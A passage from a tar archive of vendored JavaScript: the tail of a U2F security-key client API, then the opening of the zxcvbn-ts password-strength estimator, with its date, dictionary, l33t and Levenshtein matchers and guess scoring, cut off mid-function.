JS API version, then send the actual sign request. u2f.getApiVersion( function (response) { js_api_version = response['js_api_version'] === undefined ? 0 : response['js_api_version']; console.log("Extension JS API Version: ", js_api_version); u2f.sendSignRequest(appId, challenge, registeredKeys, callback, opt_timeoutSeconds); }); } else { // We know the JS API version. Send the actual sign request in the supported API version. u2f.sendSignRequest(appId, challenge, registeredKeys, callback, opt_timeoutSeconds); } }; /** * Dispatches an array of sign requests to available U2F tokens. * @param {string=} appId * @param {string=} challenge * @param {Array<u2f.RegisteredKey>} registeredKeys * @param {function((u2f.Error|u2f.SignResponse))} callback * @param {number=} opt_timeoutSeconds */ u2f.sendSignRequest = function(appId, challenge, registeredKeys, callback, opt_timeoutSeconds) { u2f.getPortSingleton_(function(port) { var reqId = ++u2f.reqCounter_; u2f.callbackMap_[reqId] = callback; var timeoutSeconds = (typeof opt_timeoutSeconds !== 'undefined' ? opt_timeoutSeconds : u2f.EXTENSION_TIMEOUT_SEC); var req = u2f.formatSignRequest_(appId, challenge, registeredKeys, timeoutSeconds, reqId); port.postMessage(req); }); }; /** * Dispatches register requests to available U2F tokens. An array of sign * requests identifies already registered tokens. * If the JS API version supported by the extension is unknown, it first sends a * message to the extension to find out the supported API version and then it sends * the register request. * @param {string=} appId * @param {Array<u2f.RegisterRequest>} registerRequests * @param {Array<u2f.RegisteredKey>} registeredKeys * @param {function((u2f.Error|u2f.RegisterResponse))} callback * @param {number=} opt_timeoutSeconds */ u2f.register = function(appId, registerRequests, registeredKeys, callback, opt_timeoutSeconds) { if (js_api_version === undefined) { // Send a message to get the extension to JS API version, then send the actual register request. u2f.getApiVersion( function (response) { js_api_version = response['js_api_version'] === undefined ? 0: response['js_api_version']; console.log("Extension JS API Version: ", js_api_version); u2f.sendRegisterRequest(appId, registerRequests, registeredKeys, callback, opt_timeoutSeconds); }); } else { // We know the JS API version. Send the actual register request in the supported API version. u2f.sendRegisterRequest(appId, registerRequests, registeredKeys, callback, opt_timeoutSeconds); } }; /** * Dispatches register requests to available U2F tokens. An array of sign * requests identifies already registered tokens. * @param {string=} appId * @param {Array<u2f.RegisterRequest>} registerRequests * @param {Array<u2f.RegisteredKey>} registeredKeys * @param {function((u2f.Error|u2f.RegisterResponse))} callback * @param {number=} opt_timeoutSeconds */ u2f.sendRegisterRequest = function(appId, registerRequests, registeredKeys, callback, opt_timeoutSeconds) { u2f.getPortSingleton_(function(port) { var reqId = ++u2f.reqCounter_; u2f.callbackMap_[reqId] = callback; var timeoutSeconds = (typeof opt_timeoutSeconds !== 'undefined' ? opt_timeoutSeconds : u2f.EXTENSION_TIMEOUT_SEC); var req = u2f.formatRegisterRequest_( appId, registeredKeys, registerRequests, timeoutSeconds, reqId); port.postMessage(req); }); }; /** * Dispatches a message to the extension to find out the supported * JS API version. * If the user is on a mobile phone and is thus using Google Authenticator instead * of the Chrome extension, don't send the request and simply return 0. * @param {function((u2f.Error|u2f.GetJsApiVersionResponse))} callback * @param {number=} opt_timeoutSeconds */ u2f.getApiVersion = function(callback, opt_timeoutSeconds) { u2f.getPortSingleton_(function(port) { // If we are using Android Google Authenticator or iOS client app, // do not fire an intent to ask which JS API version to use. if (port.getPortType) { var apiVersion; switch (port.getPortType()) { case 'WrappedIosPort_': case 'WrappedAuthenticatorPort_': apiVersion = 1.1; break; default: apiVersion = 0; break; } callback({ 'js_api_version': apiVersion }); return; } var reqId = ++u2f.reqCounter_; u2f.callbackMap_[reqId] = callback; var req = { type: u2f.MessageTypes.U2F_GET_API_VERSION_REQUEST, timeoutSeconds: (typeof opt_timeoutSeconds !== 'undefined' ? opt_timeoutSeconds : u2f.EXTENSION_TIMEOUT_SEC), requestId: reqId }; port.postMessage(req); }); }; })(); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/zxcvbn-ts.js���������������������������������������������������������������������������������0000666�����������������00000226702�15172447206�0010362 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������this.zxcvbnts = this.zxcvbnts || {}; this.zxcvbnts.core = (function (exports) { 'use strict'; const empty = obj => Object.keys(obj).length === 0; const extend = (listToExtend, list) => // eslint-disable-next-line prefer-spread listToExtend.push.apply(listToExtend, list); const translate = (string, chrMap) => { const tempArray = string.split(''); return tempArray.map(char => chrMap[char] || char).join(''); }; // mod implementation that works for negative numbers const sorted = matches => matches.sort((m1, m2) => m1.i - m2.i || m1.j - m2.j); const buildRankedDictionary = orderedList => { const result = {}; let counter = 1; // rank starts at 1, not 0 orderedList.forEach(word => { result[word] = counter; counter += 1; }); return result; }; var dateSplits = { 4: [// for length-4 strings, eg 1191 or 9111, two ways to split: [1, 2], [2, 3] // 91 1 1 ], 5: [[1, 3], [2, 3], // [2, 3], // 91 1 11 <- duplicate previous one [2, 4] // 91 11 1 <- New and must be added as bug fix ], 6: [[1, 2], [2, 4], [4, 5] // 1991 1 1 ], // 1111991 7: [[1, 3], [2, 3], [4, 5], [4, 6] // 1991 11 1 ], 8: [[2, 4], [4, 6] // 1991 11 11 ] }; const DATE_MAX_YEAR = 2050; const DATE_MIN_YEAR = 1000; const DATE_SPLITS = dateSplits; const BRUTEFORCE_CARDINALITY = 10; const MIN_GUESSES_BEFORE_GROWING_SEQUENCE = 10000; const MIN_SUBMATCH_GUESSES_SINGLE_CHAR = 10; const MIN_SUBMATCH_GUESSES_MULTI_CHAR = 50; const MIN_YEAR_SPACE = 20; // \xbf-\xdf is a range for almost all special uppercase letter like Ä and so on const START_UPPER = /^[A-Z\xbf-\xdf][^A-Z\xbf-\xdf]+$/; const END_UPPER = /^[^A-Z\xbf-\xdf]+[A-Z\xbf-\xdf]$/; // \xdf-\xff is a range for almost all special lowercase letter like ä and so on const ALL_UPPER = /^[A-Z\xbf-\xdf]+$/; const ALL_UPPER_INVERTED = /^[^a-z\xdf-\xff]+$/; const ALL_LOWER = /^[a-z\xdf-\xff]+$/; const ALL_LOWER_INVERTED = /^[^A-Z\xbf-\xdf]+$/; const ONE_LOWER = /[a-z\xdf-\xff]/; const ONE_UPPER = /[A-Z\xbf-\xdf]/; const ALPHA_INVERTED = /[^A-Za-z\xbf-\xdf]/gi; const ALL_DIGIT = /^\d+$/; const REFERENCE_YEAR = new Date().getFullYear(); const REGEXEN = { recentYear: /19\d\d|200\d|201\d|202\d/g }; /* * ------------------------------------------------------------------------------- * date matching ---------------------------------------------------------------- * ------------------------------------------------------------------------------- */ class MatchDate { /* * a "date" is recognized as: * any 3-tuple that starts or ends with a 2- or 4-digit year, * with 2 or 0 separator chars (1.1.91 or 1191), * maybe zero-padded (01-01-91 vs 1-1-91), * a month between 1 and 12, * a day between 1 and 31. * * note: this isn't true date parsing in that "feb 31st" is allowed, * this doesn't check for leap years, etc. * * recipe: * start with regex to find maybe-dates, then attempt to map the integers * onto month-day-year to filter the maybe-dates into dates. * finally, remove matches that are substrings of other matches to reduce noise. * * note: instead of using a lazy or greedy regex to find many dates over the full string, * this uses a ^...$ regex against every substring of the password -- less performant but leads * to every possible date match. */ match({ password }) { const matches = [...this.getMatchesWithoutSeparator(password), ...this.getMatchesWithSeparator(password)]; const filteredMatches = this.filterNoise(matches); return sorted(filteredMatches); } getMatchesWithSeparator(password) { const matches = []; const maybeDateWithSeparator = /^(\d{1,4})([\s/\\_.-])(\d{1,2})\2(\d{1,4})$/; // # dates with separators are between length 6 '1/1/91' and 10 '11/11/1991' for (let i = 0; i <= Math.abs(password.length - 6); i += 1) { for (let j = i + 5; j <= i + 9; j += 1) { if (j >= password.length) { break; } const token = password.slice(i, +j + 1 || 9e9); const regexMatch = maybeDateWithSeparator.exec(token); if (regexMatch != null) { const dmy = this.mapIntegersToDayMonthYear([parseInt(regexMatch[1], 10), parseInt(regexMatch[3], 10), parseInt(regexMatch[4], 10)]); if (dmy != null) { matches.push({ pattern: 'date', token, i, j, separator: regexMatch[2], year: dmy.year, month: dmy.month, day: dmy.day }); } } } } return matches; } // eslint-disable-next-line max-statements getMatchesWithoutSeparator(password) { const matches = []; const maybeDateNoSeparator = /^\d{4,8}$/; const metric = candidate => Math.abs(candidate.year - REFERENCE_YEAR); // # dates without separators are between length 4 '1191' and 8 '11111991' for (let i = 0; i <= Math.abs(password.length - 4); i += 1) { for (let j = i + 3; j <= i + 7; j += 1) { if (j >= password.length) { break; } const token = password.slice(i, +j + 1 || 9e9); if (maybeDateNoSeparator.exec(token)) { const candidates = []; const index = token.length; const splittedDates = DATE_SPLITS[index]; splittedDates.forEach(([k, l]) => { const dmy = this.mapIntegersToDayMonthYear([parseInt(token.slice(0, k), 10), parseInt(token.slice(k, l), 10), parseInt(token.slice(l), 10)]); if (dmy != null) { candidates.push(dmy); } }); if (candidates.length > 0) { /* * at this point: different possible dmy mappings for the same i,j substring. * match the candidate date that likely takes the fewest guesses: a year closest * to 2000. * (scoring.REFERENCE_YEAR). * * ie, considering '111504', prefer 11-15-04 to 1-1-1504 * (interpreting '04' as 2004) */ let bestCandidate = candidates[0]; let minDistance = metric(candidates[0]); candidates.slice(1).forEach(candidate => { const distance = metric(candidate); if (distance < minDistance) { bestCandidate = candidate; minDistance = distance; } }); matches.push({ pattern: 'date', token, i, j, separator: '', year: bestCandidate.year, month: bestCandidate.month, day: bestCandidate.day }); } } } } return matches; } /* * matches now contains all valid date strings in a way that is tricky to capture * with regexes only. while thorough, it will contain some unintuitive noise: * * '2015_06_04', in addition to matching 2015_06_04, will also contain * 5(!) other date matches: 15_06_04, 5_06_04, ..., even 2015 (matched as 5/1/2020) * * to reduce noise, remove date matches that are strict substrings of others */ filterNoise(matches) { return matches.filter(match => { let isSubmatch = false; const matchesLength = matches.length; for (let o = 0; o < matchesLength; o += 1) { const otherMatch = matches[o]; if (match !== otherMatch) { if (otherMatch.i <= match.i && otherMatch.j >= match.j) { isSubmatch = true; break; } } } return !isSubmatch; }); } /* * given a 3-tuple, discard if: * middle int is over 31 (for all dmy formats, years are never allowed in the middle) * middle int is zero * any int is over the max allowable year * any int is over two digits but under the min allowable year * 2 integers are over 31, the max allowable day * 2 integers are zero * all integers are over 12, the max allowable month */ // eslint-disable-next-line complexity, max-statements mapIntegersToDayMonthYear(integers) { if (integers[1] > 31 || integers[1] <= 0) { return null; } let over12 = 0; let over31 = 0; let under1 = 0; for (let o = 0, len1 = integers.length; o < len1; o += 1) { const int = integers[o]; if (int > 99 && int < DATE_MIN_YEAR || int > DATE_MAX_YEAR) { return null; } if (int > 31) { over31 += 1; } if (int > 12) { over12 += 1; } if (int <= 0) { under1 += 1; } } if (over31 >= 2 || over12 === 3 || under1 >= 2) { return null; } return this.getDayMonth(integers); } // eslint-disable-next-line max-statements getDayMonth(integers) { // first look for a four digit year: yyyy + daymonth or daymonth + yyyy const possibleYearSplits = [[integers[2], integers.slice(0, 2)], [integers[0], integers.slice(1, 3)] // year first ]; const possibleYearSplitsLength = possibleYearSplits.length; for (let j = 0; j < possibleYearSplitsLength; j += 1) { const [y, rest] = possibleYearSplits[j]; if (DATE_MIN_YEAR <= y && y <= DATE_MAX_YEAR) { const dm = this.mapIntegersToDayMonth(rest); if (dm != null) { return { year: y, month: dm.month, day: dm.day }; } /* * for a candidate that includes a four-digit year, * when the remaining integers don't match to a day and month, * it is not a date. */ return null; } } // given no four-digit year, two digit years are the most flexible int to match, so // try to parse a day-month out of integers[0..1] or integers[1..0] for (let k = 0; k < possibleYearSplitsLength; k += 1) { const [y, rest] = possibleYearSplits[k]; const dm = this.mapIntegersToDayMonth(rest); if (dm != null) { return { year: this.twoToFourDigitYear(y), month: dm.month, day: dm.day }; } } return null; } mapIntegersToDayMonth(integers) { const temp = [integers, integers.slice().reverse()]; for (let i = 0; i < temp.length; i += 1) { const data = temp[i]; const day = data[0]; const month = data[1]; if (day >= 1 && day <= 31 && month >= 1 && month <= 12) { return { day, month }; } } return null; } twoToFourDigitYear(year) { if (year > 99) { return year; } if (year > 50) { // 87 -> 1987 return year + 1900; } // 15 -> 2015 return year + 2000; } } /** * This code is from https://github.com/ka-weihe/fastest-levenshtein * It was copied into this repo because it doesn't have an esm build which results in error for esm only project * TODO if sometimes in the future it will get a esm build we can remove this file and use the original again * https://github.com/ka-weihe/fastest-levenshtein/pull/18 */ const peq = new Uint32Array(0x10000); const myers_32 = (a, b) => { const n = a.length; const m = b.length; const lst = 1 << n - 1; let pv = -1; let mv = 0; let sc = n; let i = n; while (i--) { peq[a.charCodeAt(i)] |= 1 << i; } for (i = 0; i < m; i++) { let eq = peq[b.charCodeAt(i)]; const xv = eq | mv; eq |= (eq & pv) + pv ^ pv; mv |= ~(eq | pv); pv &= eq; if (mv & lst) { sc++; } if (pv & lst) { sc--; } mv = mv << 1 | 1; pv = pv << 1 | ~(xv | mv); mv &= xv; } i = n; while (i--) { peq[a.charCodeAt(i)] = 0; } return sc; }; const myers_x = (b, a) => { const n = a.length; const m = b.length; const mhc = []; const phc = []; const hsize = Math.ceil(n / 32); const vsize = Math.ceil(m / 32); for (let i = 0; i < hsize; i++) { phc[i] = -1; mhc[i] = 0; } let j = 0; for (; j < vsize - 1; j++) { let mv = 0; let pv = -1; const start = j * 32; const vlen = Math.min(32, m) + start; for (let k = start; k < vlen; k++) { peq[b.charCodeAt(k)] |= 1 << k; } for (let i = 0; i < n; i++) { const eq = peq[a.charCodeAt(i)]; const pb = phc[i / 32 | 0] >>> i % 32 & 1; const mb = mhc[i / 32 | 0] >>> i % 32 & 1; const xv = eq | mv; const xh = ((eq | mb) & pv) + pv ^ pv | eq | mb; let ph = mv | ~(xh | pv); let mh = pv & xh; if (ph >>> 31 ^ pb) { phc[i / 32 | 0] ^= 1 << i % 32; } if (mh >>> 31 ^ mb) { mhc[i / 32 | 0] ^= 1 << i % 32; } ph = ph << 1 | pb; mh = mh << 1 | mb; pv = mh | ~(xv | ph); mv = ph & xv; } for (let k = start; k < vlen; k++) { peq[b.charCodeAt(k)] = 0; } } let mv = 0; let pv = -1; const start = j * 32; const vlen = Math.min(32, m - start) + start; for (let k = start; k < vlen; k++) { peq[b.charCodeAt(k)] |= 1 << k; } let score = m; for (let i = 0; i < n; i++) { const eq = peq[a.charCodeAt(i)]; const pb = phc[i / 32 | 0] >>> i % 32 & 1; const mb = mhc[i / 32 | 0] >>> i % 32 & 1; const xv = eq | mv; const xh = ((eq | mb) & pv) + pv ^ pv | eq | mb; let ph = mv | ~(xh | pv); let mh = pv & xh; score += ph >>> m % 32 - 1 & 1; score -= mh >>> m % 32 - 1 & 1; if (ph >>> 31 ^ pb) { phc[i / 32 | 0] ^= 1 << i % 32; } if (mh >>> 31 ^ mb) { mhc[i / 32 | 0] ^= 1 << i % 32; } ph = ph << 1 | pb; mh = mh << 1 | mb; pv = mh | ~(xv | ph); mv = ph & xv; } for (let k = start; k < vlen; k++) { peq[b.charCodeAt(k)] = 0; } return score; }; const distance = (a, b) => { if (a.length < b.length) { const tmp = b; b = a; a = tmp; } if (b.length === 0) { return a.length; } if (a.length <= 32) { return myers_32(a, b); } return myers_x(a, b); }; const getUsedThreshold = (password, entry, threshold) => { const isPasswordToShort = password.length <= entry.length; const isThresholdLongerThanPassword = password.length <= threshold; const shouldUsePasswordLength = isPasswordToShort || isThresholdLongerThanPassword; // if password is too small use the password length divided by 4 while the threshold needs to be at least 1 return shouldUsePasswordLength ? Math.ceil(password.length / 4) : threshold; }; const findLevenshteinDistance = (password, rankedDictionary, threshold) => { let foundDistance = 0; const found = Object.keys(rankedDictionary).find(entry => { const usedThreshold = getUsedThreshold(password, entry, threshold); const foundEntryDistance = distance(password, entry); const isInThreshold = foundEntryDistance <= usedThreshold; if (isInThreshold) { foundDistance = foundEntryDistance; } return isInThreshold; }); if (found) { return { levenshteinDistance: foundDistance, levenshteinDistanceEntry: found }; } return {}; }; var l33tTable = { a: ['4', '@'], b: ['8'], c: ['(', '{', '[', '<'], e: ['3'], g: ['6', '9'], i: ['1', '!', '|'], l: ['1', '|', '7'], o: ['0'], s: ['$', '5'], t: ['+', '7'], x: ['%'], z: ['2'] }; var translationKeys = { warnings: { straightRow: 'straightRow', keyPattern: 'keyPattern', simpleRepeat: 'simpleRepeat', extendedRepeat: 'extendedRepeat', sequences: 'sequences', recentYears: 'recentYears', dates: 'dates', topTen: 'topTen', topHundred: 'topHundred', common: 'common', similarToCommon: 'similarToCommon', wordByItself: 'wordByItself', namesByThemselves: 'namesByThemselves', commonNames: 'commonNames', userInputs: 'userInputs', pwned: 'pwned' }, suggestions: { l33t: 'l33t', reverseWords: 'reverseWords', allUppercase: 'allUppercase', capitalization: 'capitalization', dates: 'dates', recentYears: 'recentYears', associatedYears: 'associatedYears', sequences: 'sequences', repeated: 'repeated', longerKeyboardPattern: 'longerKeyboardPattern', anotherWord: 'anotherWord', useWords: 'useWords', noNeed: 'noNeed', pwned: 'pwned' }, timeEstimation: { ltSecond: 'ltSecond', second: 'second', seconds: 'seconds', minute: 'minute', minutes: 'minutes', hour: 'hour', hours: 'hours', day: 'day', days: 'days', month: 'month', months: 'months', year: 'year', years: 'years', centuries: 'centuries' } }; class Options { constructor() { this.matchers = {}; this.l33tTable = l33tTable; this.dictionary = { userInputs: [] }; this.rankedDictionaries = {}; this.translations = translationKeys; this.graphs = {}; this.availableGraphs = []; this.useLevenshteinDistance = false; this.levenshteinThreshold = 2; this.setRankedDictionaries(); } setOptions(options = {}) { if (options.l33tTable) { this.l33tTable = options.l33tTable; } if (options.dictionary) { this.dictionary = options.dictionary; this.setRankedDictionaries(); } if (options.translations) { this.setTranslations(options.translations); } if (options.graphs) { this.graphs = options.graphs; } if (options.useLevenshteinDistance !== undefined) { this.useLevenshteinDistance = options.useLevenshteinDistance; } if (options.levenshteinThreshold !== undefined) { this.levenshteinThreshold = options.levenshteinThreshold; } } setTranslations(translations) { if (this.checkCustomTranslations(translations)) { this.translations = translations; } else { throw new Error('Invalid translations object fallback to keys'); } } checkCustomTranslations(translations) { let valid = true; Object.keys(translationKeys).forEach(type => { if (type in translations) { const translationType = type; Object.keys(translationKeys[translationType]).forEach(key => { if (!(key in translations[translationType])) { valid = false; } }); } else { valid = false; } }); return valid; } setRankedDictionaries() { const rankedDictionaries = {}; Object.keys(this.dictionary).forEach(name => { rankedDictionaries[name] = this.getRankedDictionary(name); }); this.rankedDictionaries = rankedDictionaries; } getRankedDictionary(name) { const list = this.dictionary[name]; if (name === 'userInputs') { const sanitizedInputs = []; list.forEach(input => { const inputType = typeof input; if (inputType === 'string' || inputType === 'number' || inputType === 'boolean') { sanitizedInputs.push(input.toString().toLowerCase()); } }); return buildRankedDictionary(sanitizedInputs); } return buildRankedDictionary(list); } extendUserInputsDictionary(dictionary) { if (this.dictionary.userInputs) { this.dictionary.userInputs = [...this.dictionary.userInputs, ...dictionary]; } else { this.dictionary.userInputs = dictionary; } this.rankedDictionaries.userInputs = this.getRankedDictionary('userInputs'); } addMatcher(name, matcher) { if (this.matchers[name]) { console.info(`Matcher ${name} already exists`); } else { this.matchers[name] = matcher; } } } const zxcvbnOptions = new Options(); /* * ------------------------------------------------------------------------------- * Dictionary reverse matching -------------------------------------------------- * ------------------------------------------------------------------------------- */ class MatchL33t$1 { constructor(defaultMatch) { this.defaultMatch = defaultMatch; } match({ password }) { const passwordReversed = password.split('').reverse().join(''); return this.defaultMatch({ password: passwordReversed }).map(match => ({ ...match, token: match.token.split('').reverse().join(''), reversed: true, // map coordinates back to original string i: password.length - 1 - match.j, j: password.length - 1 - match.i })); } } /* * ------------------------------------------------------------------------------- * Dictionary l33t matching ----------------------------------------------------- * ------------------------------------------------------------------------------- */ class MatchL33t { constructor(defaultMatch) { this.defaultMatch = defaultMatch; } match({ password }) { const matches = []; const enumeratedSubs = this.enumerateL33tSubs(this.relevantL33tSubtable(password, zxcvbnOptions.l33tTable)); for (let i = 0; i < enumeratedSubs.length; i += 1) { const sub = enumeratedSubs[i]; // corner case: password has no relevant subs. if (empty(sub)) { break; } const subbedPassword = translate(password, sub); const matchedDictionary = this.defaultMatch({ password: subbedPassword }); matchedDictionary.forEach(match => { const token = password.slice(match.i, +match.j + 1 || 9e9); // only return the matches that contain an actual substitution if (token.toLowerCase() !== match.matchedWord) { // subset of mappings in sub that are in use for this match const matchSub = {}; Object.keys(sub).forEach(subbedChr => { const chr = sub[subbedChr]; if (token.indexOf(subbedChr) !== -1) { matchSub[subbedChr] = chr; } }); const subDisplay = Object.keys(matchSub).map(k => `${k} -> ${matchSub[k]}`).join(', '); matches.push({ ...match, l33t: true, token, sub: matchSub, subDisplay }); } }); } // filter single-character l33t matches to reduce noise. // otherwise '1' matches 'i', '4' matches 'a', both very common English words // with low dictionary rank. return matches.filter(match => match.token.length > 1); } // makes a pruned copy of l33t_table that only includes password's possible substitutions relevantL33tSubtable(password, table) { const passwordChars = {}; const subTable = {}; password.split('').forEach(char => { passwordChars[char] = true; }); Object.keys(table).forEach(letter => { const subs = table[letter]; const relevantSubs = subs.filter(sub => sub in passwordChars); if (relevantSubs.length > 0) { subTable[letter] = relevantSubs; } }); return subTable; } // returns the list of possible 1337 replacement dictionaries for a given password enumerateL33tSubs(table) { const tableKeys = Object.keys(table); const subs = this.getSubs(tableKeys, [[]], table); // convert from assoc lists to dicts return subs.map(sub => { const subDict = {}; sub.forEach(([l33tChr, chr]) => { subDict[l33tChr] = chr; }); return subDict; }); } getSubs(keys, subs, table) { if (!keys.length) { return subs; } const firstKey = keys[0]; const restKeys = keys.slice(1); const nextSubs = []; table[firstKey].forEach(l33tChr => { subs.forEach(sub => { let dupL33tIndex = -1; for (let i = 0; i < sub.length; i += 1) { if (sub[i][0] === l33tChr) { dupL33tIndex = i; break; } } if (dupL33tIndex === -1) { const subExtension = sub.concat([[l33tChr, firstKey]]); nextSubs.push(subExtension); } else { const subAlternative = sub.slice(0); subAlternative.splice(dupL33tIndex, 1); subAlternative.push([l33tChr, firstKey]); nextSubs.push(sub); nextSubs.push(subAlternative); } }); }); const newSubs = this.dedup(nextSubs); if (restKeys.length) { return this.getSubs(restKeys, newSubs, table); } return newSubs; } dedup(subs) { const deduped = []; const members = {}; subs.forEach(sub => { const assoc = sub.map((k, index) => [k, index]); assoc.sort(); const label = assoc.map(([k, v]) => `${k},${v}`).join('-'); if (!(label in members)) { members[label] = true; deduped.push(sub); } }); return deduped; } } class MatchDictionary { constructor() { this.l33t = new MatchL33t(this.defaultMatch); this.reverse = new MatchL33t$1(this.defaultMatch); } match({ password }) { const matches = [...this.defaultMatch({ password }), ...this.reverse.match({ password }), ...this.l33t.match({ password })]; return sorted(matches); } defaultMatch({ password }) { const matches = []; const passwordLength = password.length; const passwordLower = password.toLowerCase(); // eslint-disable-next-line complexity Object.keys(zxcvbnOptions.rankedDictionaries).forEach(dictionaryName => { const rankedDict = zxcvbnOptions.rankedDictionaries[dictionaryName]; for (let i = 0; i < passwordLength; i += 1) { for (let j = i; j < passwordLength; j += 1) { const usedPassword = passwordLower.slice(i, +j + 1 || 9e9); const isInDictionary = (usedPassword in rankedDict); let foundLevenshteinDistance = {}; // only use levenshtein distance on full password to minimize the performance drop // and because otherwise there would be to many false positives const isFullPassword = i === 0 && j === passwordLength - 1; if (zxcvbnOptions.useLevenshteinDistance && isFullPassword && !isInDictionary) { foundLevenshteinDistance = findLevenshteinDistance(usedPassword, rankedDict, zxcvbnOptions.levenshteinThreshold); } const isLevenshteinMatch = Object.keys(foundLevenshteinDistance).length !== 0; if (isInDictionary || isLevenshteinMatch) { const usedRankPassword = isLevenshteinMatch ? foundLevenshteinDistance.levenshteinDistanceEntry : usedPassword; const rank = rankedDict[usedRankPassword]; matches.push({ pattern: 'dictionary', i, j, token: password.slice(i, +j + 1 || 9e9), matchedWord: usedPassword, rank, dictionaryName: dictionaryName, reversed: false, l33t: false, ...foundLevenshteinDistance }); } } } }); return matches; } } /* * ------------------------------------------------------------------------------- * regex matching --------------------------------------------------------------- * ------------------------------------------------------------------------------- */ class MatchRegex { match({ password, regexes = REGEXEN }) { const matches = []; Object.keys(regexes).forEach(name => { const regex = regexes[name]; regex.lastIndex = 0; // keeps regexMatch stateless const regexMatch = regex.exec(password); if (regexMatch) { const token = regexMatch[0]; matches.push({ pattern: 'regex', token, i: regexMatch.index, j: regexMatch.index + regexMatch[0].length - 1, regexName: name, regexMatch }); } }); return sorted(matches); } } var utils = { // binomial coefficients // src: http://blog.plover.com/math/choose.html nCk(n, k) { let count = n; if (k > count) { return 0; } if (k === 0) { return 1; } let coEff = 1; for (let i = 1; i <= k; i += 1) { coEff *= count; coEff /= i; count -= 1; } return coEff; }, log10(n) { return Math.log(n) / Math.log(10); // IE doesn't support Math.log10 :( }, log2(n) { return Math.log(n) / Math.log(2); }, factorial(num) { let rval = 1; for (let i = 2; i <= num; i += 1) rval *= i; return rval; } }; var bruteforceMatcher$1 = (({ token }) => { let guesses = BRUTEFORCE_CARDINALITY ** token.length; if (guesses === Number.POSITIVE_INFINITY) { guesses = Number.MAX_VALUE; } let minGuesses; // small detail: make bruteforce matches at minimum one guess bigger than smallest allowed // submatch guesses, such that non-bruteforce submatches over the same [i..j] take precedence. if (token.length === 1) { minGuesses = MIN_SUBMATCH_GUESSES_SINGLE_CHAR + 1; } else { minGuesses = MIN_SUBMATCH_GUESSES_MULTI_CHAR + 1; } return Math.max(guesses, minGuesses); }); var dateMatcher$1 = (({ year, separator }) => { // base guesses: (year distance from REFERENCE_YEAR) * num_days * num_years const yearSpace = Math.max(Math.abs(year - REFERENCE_YEAR), MIN_YEAR_SPACE); let guesses = yearSpace * 365; // add factor of 4 for separator selection (one of ~4 choices) if (separator) { guesses *= 4; } return guesses; }); const getVariations = cleanedWord => { const wordArray = cleanedWord.split(''); const upperCaseCount = wordArray.filter(char => char.match(ONE_UPPER)).length; const lowerCaseCount = wordArray.filter(char => char.match(ONE_LOWER)).length; let variations = 0; const variationLength = Math.min(upperCaseCount, lowerCaseCount); for (let i = 1; i <= variationLength; i += 1) { variations += utils.nCk(upperCaseCount + lowerCaseCount, i); } return variations; }; var uppercaseVariant = (word => { // clean words of non alpha characters to remove the reward effekt to capitalize the first letter https://github.com/dropbox/zxcvbn/issues/232 const cleanedWord = word.replace(ALPHA_INVERTED, ''); if (cleanedWord.match(ALL_LOWER_INVERTED) || cleanedWord.toLowerCase() === cleanedWord) { return 1; } // a capitalized word is the most common capitalization scheme, // so it only doubles the search space (uncapitalized + capitalized). // all caps and end-capitalized are common enough too, underestimate as 2x factor to be safe. const commonCases = [START_UPPER, END_UPPER, ALL_UPPER_INVERTED]; const commonCasesLength = commonCases.length; for (let i = 0; i < commonCasesLength; i += 1) { const regex = commonCases[i]; if (cleanedWord.match(regex)) { return 2; } } // otherwise calculate the number of ways to capitalize U+L uppercase+lowercase letters // with U uppercase letters or less. or, if there's more uppercase than lower (for eg. PASSwORD), // the number of ways to lowercase U+L letters with L lowercase letters or less. return getVariations(cleanedWord); }); const getCounts = ({ subs, subbed, token }) => { const unsubbed = subs[subbed]; // lower-case match.token before calculating: capitalization shouldn't affect l33t calc. const chrs = token.toLowerCase().split(''); // num of subbed chars const subbedCount = chrs.filter(char => char === subbed).length; // num of unsubbed chars const unsubbedCount = chrs.filter(char => char === unsubbed).length; return { subbedCount, unsubbedCount }; }; var l33tVariant = (({ l33t, sub, token }) => { if (!l33t) { return 1; } let variations = 1; const subs = sub; Object.keys(subs).forEach(subbed => { const { subbedCount, unsubbedCount } = getCounts({ subs, subbed, token }); if (subbedCount === 0 || unsubbedCount === 0) { // for this sub, password is either fully subbed (444) or fully unsubbed (aaa) // treat that as doubling the space (attacker needs to try fully subbed chars in addition to // unsubbed.) variations *= 2; } else { // this case is similar to capitalization: // with aa44a, U = 3, S = 2, attacker needs to try unsubbed + one sub + two subs const p = Math.min(unsubbedCount, subbedCount); let possibilities = 0; for (let i = 1; i <= p; i += 1) { possibilities += utils.nCk(unsubbedCount + subbedCount, i); } variations *= possibilities; } }); return variations; }); var dictionaryMatcher$1 = (({ rank, reversed, l33t, sub, token }) => { const baseGuesses = rank; // keep these as properties for display purposes const uppercaseVariations = uppercaseVariant(token); const l33tVariations = l33tVariant({ l33t, sub, token }); const reversedVariations = reversed && 2 || 1; const calculation = baseGuesses * uppercaseVariations * l33tVariations * reversedVariations; return { baseGuesses, uppercaseVariations, l33tVariations, calculation }; }); var regexMatcher$1 = (({ regexName, regexMatch, token }) => { const charClassBases = { alphaLower: 26, alphaUpper: 26, alpha: 52, alphanumeric: 62, digits: 10, symbols: 33 }; if (regexName in charClassBases) { return charClassBases[regexName] ** token.length; } // TODO add more regex types for example special dates like 09.11 // eslint-disable-next-line default-case switch (regexName) { case 'recentYear': // conservative estimate of year space: num years from REFERENCE_YEAR. // if year is close to REFERENCE_YEAR, estimate a year space of MIN_YEAR_SPACE. return Math.max(Math.abs(parseInt(regexMatch[0], 10) - REFERENCE_YEAR), MIN_YEAR_SPACE); } return 0; }); var repeatMatcher$1 = (({ baseGuesses, repeatCount }) => baseGuesses * repeatCount); var sequenceMatcher$1 = (({ token, ascending }) => { const firstChr = token.charAt(0); let baseGuesses = 0; const startingPoints = ['a', 'A', 'z', 'Z', '0', '1', '9']; // lower guesses for obvious starting points if (startingPoints.includes(firstChr)) { baseGuesses = 4; } else if (firstChr.match(/\d/)) { baseGuesses = 10; // digits } else { // could give a higher base for uppercase, // assigning 26 to both upper and lower sequences is more conservative. baseGuesses = 26; } // need to try a descending sequence in addition to every ascending sequence -> // 2x guesses if (!ascending) { baseGuesses *= 2; } return baseGuesses * token.length; }); const calcAverageDegree = graph => { let average = 0; Object.keys(graph).forEach(key => { const neighbors = graph[key]; average += neighbors.filter(entry => !!entry).length; }); average /= Object.entries(graph).length; return average; }; const estimatePossiblePatterns = ({ token, graph, turns }) => { const startingPosition = 